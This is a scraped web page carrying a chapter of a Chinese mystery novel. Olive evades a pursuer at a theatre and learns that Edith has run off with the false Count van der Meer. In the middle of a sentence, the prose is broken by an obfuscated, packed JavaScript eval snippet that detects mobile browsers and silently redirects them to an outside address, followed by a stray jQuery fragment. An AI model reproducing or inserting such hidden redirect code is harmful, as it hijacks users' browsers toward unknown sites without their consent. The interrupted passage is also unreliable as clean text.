30. 溜之大吉
作品:《奥丽芙与伯爵大盗》 幸好,露瑟他该下去了,奥丽芙走到苹果树后,自然而然地避开奥康纳的视线。
但是这次,奥丽芙没有完全背过身——不能让人觉出她是心虚了,得赌一把。她透过枝梢瞧着裘丽亚念一段长长的台词,同时,也关注着那间包厢,勇敢地把侧脸暴露给包厢里的人。
奥康纳没有再盯她,因为Z伯爵在对他说话。说话时Z伯爵仍然望着舞台,满面笑容。不知他说的是什么,侯爵夫人扭过脸瞪着他,显出惊骇鄙夷的神情。接着,奥康纳走出了包厢,从他毫不旁顾的目光和急速的步伐看,奥丽芙知道自己逃过去了。
她又回到舞台中央,和裘丽亚对了几句话。Z伯爵继续从容地、目不转睛地看着她。
这场戏结束了。
一下台,真正的露瑟他扑上来:“你演得挺好,你男朋友瞧见了吗?”
“应该看见了,我没看见他。”奥丽芙含糊回答,悄声问,“有人来找我吗?”
“有!真是个警察,我说没人来过,他还到处都检查了一遍,真没礼貌!”
“他走了?”
“早走了。”
“你们嘀嘀咕咕捣什么鬼,我要告诉昆塞尔先生!”裘丽亚不满地说。
“得了,你是大明星,和我们计较什么?我请你下馆子,你说上哪儿就上哪儿。”露瑟他甜甜道,对奥丽芙使个得意的眼色。
“下一场你还演吧,他肯定等着看呢。”回到化妆室,露瑟他问奥丽芙。
“不演了,你上吧,我演够了。”奥丽芙脱下身上的行头。露瑟他的戏份还在好几场之后,既然已经脱离危险,没必要假扮了。但保险起见,奥丽芙打算多等一会儿再离开剧院。
她立在大幕之后,听演员在台上念白。这会儿,她的心仍然砰砰直跳。不光是手握真相令她激动,还有刚才站在舞台上、站在观众面前的感觉——没想到她竟演了一场戏,并因此逃过了坏蛋对她的追捕!奥丽芙的确为自己骄傲。
可惜还是叫Z伯爵看穿了。奥康纳不知对他说了什么,肯定是编造了一些恶毒的谎话。不过Z伯爵也不必得意,他还绝对不愿让库珀先生和伊迪丝知道他脚踏两只船呢。
此刻,奥丽芙把露瑟他在另一场中的台词又想起几句,颇感到遗憾,不能对着Z伯爵大声念出来:“什么盟誓,什么眼泪,不过是假心男子们的工具罢了。”
中间换幕的时候,她又朝刚才那只包厢瞄了一眼,Z伯爵不见了,这时,只有两位女士在那儿正襟危坐。
.
奥丽芙平安回到酒店,立即发电报给布朗先生。不巧的是,这天布朗先生刚好出了城,很晚的时候才返回,他看到电报,赶来绿窗酒店,已是深夜了。
这晚,没法再做什么,但第二天一大早,布朗先生就派人前去金铺。谁知,到那儿时,已是店门紧锁,人去楼空。向左邻右舍打听得知,店主老家有急事,连夜回家去了;几个店员平日睡在店里,不知哪里还另有住处,一时难以找到。
听到奥康纳逃走,奥丽芙并不十分懊丧,但难免着急,生怕假伯爵闻讯也逃走。“我现在就去报告给警察!”
布朗先生思索了一会儿,说:“眼下,我们只有这个,恐怕这还不够。”他指着奥丽芙从店铺登记簿册上撕下的那页纸,“这上面只记了袖扣所用金子的重量,并没有描述袖扣样式和蜜蜂花纹。即便描述了,警方和法院也会说,无法根据几句描述,证明熔掉的这只袖扣和遇害现场捡到的那只一定是一对。
“除非找到奥康纳,否则,我们没有能够指控‘因姆克’涉嫌杀害费克特先生的有力证据。因姆克当前的身份毕竟还是位伯爵,我们恐怕无法让警察立即抓捕他,要是打草惊蛇,让他做足准备并远远躲起来,反而不好办了。
“我看这样吧,刚好我认识一个人,他在荷兰的美国使馆工作,我发电报给他,让他联系当地警方,尽快找到范德梅尔的家人——你说他有个母亲和妹妹,在哈勒姆?她们大概能提供不少情况。假若发现我们认识的那位伯爵确实是因姆克假冒的,就可以先以涉嫌谋杀丹尼尔·范德梅尔的罪名逮捕他,那时,他就不得不承认杀害费克特先生的罪名了。”
听布朗先生这样说,奥丽芙也只好暂且忍耐,但她还有顾虑:“那个逃跑的店老板会不会已经联系了假范德梅尔伯爵,让他有所提防……”
“这个不怕。”布朗先生说,“我马上安排人监视他的住处,我还会再找几个人,让他们守在火车站、驿站、码头。这位先生身高约六英尺一英寸,体重约一百七十磅,蓝眼睛,相貌英俊,对吧——还有,头发金红色,但发色我不提,防备他戴假发——我会嘱咐他们特别关注这样的人,大概漏不掉。假如他想离开伦敦,我们会立即拦住。”
.
今天晚上要举行化装舞会,因此,白天几乎没有什么社交活动,奥丽芙料定在哪儿都碰不到“范德梅尔伯爵”。这样也好,假如面对他,她真没法保证自己能做到面不改色。
奥丽芙已经写信给韦克林公爵夫人,为临时有事,无法参加化装舞会道歉,不过,她打算舞会开场后藏在暗处,悄悄看看假范德梅尔会不会出现。若他来,说明他还没得到报信,等过几天荷兰返回消息,就可以抓住他了!
布朗先生离开后,奥丽芙呆在自己的房间,焦急地等待天黑。她翻了翻晨报,看看有没有与范德梅尔伯爵相关的报道。没有。同样,也没有关于突然消失的金铺店主奥康纳先生、以及他追踪“偷金女贼”至尼西剧院所引发的那场小小风波的任何报道。
不过,头条新闻确实是一件窃案,一件新的珠宝窃案:昨天下午,那位珠宝大盗在河岸街某议员宅邸,盗走了一只蓝宝石冠冕。
这件事或许会使韦克林公爵夫人暗中高兴——大盗每偷一件珠宝,好像都要“休息”一段时间,迄今,他还没有在连续的两天接连作过案,既然他昨天刚偷过东西,公爵夫人就不必为自己举办的舞会担心了。
奥丽芙对大盗的作案模式不怎么关心,不过,因为等待的时间太难熬,她略微把窃案新闻看了几眼,发现盗窃发生的时间倒和她“上台”的时间差不了多远,而且,河岸街距离戏院也挺近。
那个警察真够笨的,他要是不听信奥康纳胡说,跑去戏院抓我,而是做他该做的正事,好好在街上巡逻,再往河岸街那边走走,说不定他就能抓到大盗立功了。奥丽芙心想。
她丢开报纸,耐着性子继续等待。
下午茶之后,侍者敲门说:“布莱克小姐,库珀先生请你去一下库珀小姐的房间。”
奥丽芙立即赶去,一面想:看来布朗先生都对库珀先生讲了,库珀先生又告诉了伊迪丝。伊迪丝一定很吃惊。她一度挺喜欢“范德梅尔伯爵”,冷不丁得知他的真面目,想到自己曾经的朋友是个作恶多端的罪犯,她肯定会又气愤又伤心,——该如何劝慰她?
可是只有库珀先生和伊迪丝的侍女珍妮两个人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102222|192595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在房间里。库珀先生正用急迫的脚步在屋中一圈圈转着,奥丽芙进来后,他停了下来;而珍妮满面泪痕站在一旁,动都不敢动。
“奥丽芙,”像以往一样,库珀先生亲切地招呼奥丽芙,可随即,他的声音变得十分焦虑,“你今天见到伊迪丝了吗?”
奥丽芙惊讶地摇摇头:“她早上不是去凯里夫人家了?”
“她去了,又走了。——刚才我在街上碰见凯里夫人,她说伊迪丝没和凯里小姐在一起,她只在她们家呆了一会儿,说要回来准备化装舞会,好晚上让所有人大吃一惊。我以为伊迪丝确实是这样打算,但伊迪丝不在家。——你听她怎么说。”库珀先生指一指珍妮。
珍妮仿佛吓瘫了,几乎站都站不稳,好半天,才哆哆嗦嗦说:“上午小姐回来了一趟,说要拿些东西。她带了几件衣服和首饰又出门了,没坐马车,她说有马车在外面等着,当时我还以为是凯里夫人府上的车。”
“她是不是又上别人家了?”奥丽芙猜测,但自己也觉得不大可能。伊迪丝既然说要在舞会上让所有人大吃一惊,那在哪儿准备都不如她自己的房间合适。
库珀先生又问奥丽芙:“你最近可曾见到范德梅尔伯爵?”
由库珀先生的神情,奥丽芙立即发觉他还不清楚范德梅尔的真实身份,但是,他说“范德梅尔伯爵”时,语气中含着某种厌恶和痛恨,那就意味着……
奥丽芙还没敢想,库珀先生说了出来:“伊迪丝跑了,她受了那个混蛋的骗,和他一起跑了。”
“和范德梅尔伯爵?”奥丽芙不由叫了一声,但她很快稳住自己,问,“我们怎么确认伊迪丝是和……范德梅尔伯爵在一起?”
“她昨晚见过那个混蛋,她带走的不是舞会上要穿的衣服。”库珀先生简单地说,又一指珍妮。
珍妮这时哭了起来,但话说得很快:“昨天晚上,范德梅尔先生过来,他以前也来过,他会向窗户上扔一个石子,小姐听见,就会下楼到花园里见他。小姐不许我告诉人……”
库珀先生绝望地叹了口气:“我知道伊迪丝对那家伙有好感,但我没想到她会这么做。”
奥丽芙非常愧疚并自责,她目击过伊迪丝和“范德梅尔”私下约会,如果她告诉库珀先生,可能就不一样了,可她一直没讲出来——她总觉得那是伊迪丝的私事,别人无权过问。
她还后悔没有坚决地向伊迪丝揭穿“范德梅尔”的卑鄙嘴脸。
不能再耽搁了。她简洁明了地说出了这两天她得知和猜测的所有事。
库珀先生的脸一下子变得苍白:“一个杀人犯!他绑架了伊迪丝……”
奥丽芙急忙又说了布朗先生的计划:“布朗先生保证,不会让范德梅尔跑出伦敦。我们肯定能很快找到他们。我想,他不会伤害伊迪丝,那样他手里就没有筹码了,只要伊迪丝好好的,他还可能和你谈条件。”
“对,对,我刚才也派人去车站那些地方找伊迪丝,我就怕太迟了,布朗先生早有准备就好。”库珀先生表情稍稍放松了些,“布朗先生我可以相信,他找的帮手肯定也都是人品很好的绅士,会悄悄把伊迪丝送回来,不会声张。不过,”库珀先生语调低下去,“我是不是还该让人去教堂问问,万一他们……”
奥丽芙很直接地说:“不会的,登记结婚前得发结婚预告,还得等上几个星期才行,那时早就找到他们了。”
“我是怕,那家伙已经搞到了结婚许可。”

